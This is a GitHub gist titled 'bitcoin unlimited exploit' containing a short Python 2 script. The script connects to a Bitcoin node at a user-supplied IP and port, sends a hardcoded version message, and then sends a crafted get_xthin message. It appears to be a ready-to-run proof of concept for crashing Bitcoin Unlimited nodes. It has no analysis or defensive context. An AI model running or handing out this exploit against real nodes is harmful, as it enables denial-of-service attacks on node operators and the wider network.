Created
May 25, 2017 19:16
-
-
Save daedalus/14f527a3c15d48e6f8b1db2543684600 to your computer and use it in GitHub Desktop.
bitcoin unlimited exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import binascii | |
| import socket | |
| import time | |
| import sys | |
| import argparse | |
| BUFFER_SIZE = 1024 | |
| VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000") | |
| GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001") | |
| if len(sys.argv) > 2: | |
| TCP_PORT = int(sys.argv[2]) | |
| TCP_IP = sys.argv[1] | |
| elif len(sys.argv) > 1: | |
| TCP_PORT = 8333 | |
| TCP_IP = sys.argv[1] | |
| else: | |
| print "Usage: %s ip [port]" % sys.argv[0] | |
| exit(1) | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.connect((TCP_IP, TCP_PORT)) | |
| s.send(VERSION) | |
| data = s.recv(BUFFER_SIZE) | |
| time.sleep(1) | |
| s.send(GET_XTHIN) | |
| time.sleep(1) | |
| s.close() | |
| print "received data:", data |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment